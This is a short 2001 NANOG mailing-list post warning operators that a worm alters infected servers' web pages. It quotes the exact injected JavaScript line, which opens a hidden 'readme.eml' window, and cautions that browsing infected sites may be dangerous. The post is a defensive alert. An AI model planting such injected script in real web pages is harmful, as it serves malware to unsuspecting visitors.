Home page logo
/

nanog logo nanog mailing list archives

RE: Worm probes
From: "Mark Radabaugh - Amplex" <mark () amplex net>
Date: Tue, 18 Sep 2001 11:48:55 -0400



This is new - it modifies the web pages of the infected machine to
include a (I assume) virus.  It adds this string to the web page:

<html><script language="JavaScript">window.open("readme.eml", null,
"resizable=no,top=6000,left=6000")</script></html>

Viewing infected web servers may be dangerous.

Mark Radabaugh
Amplex
(419) 833-3635



  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]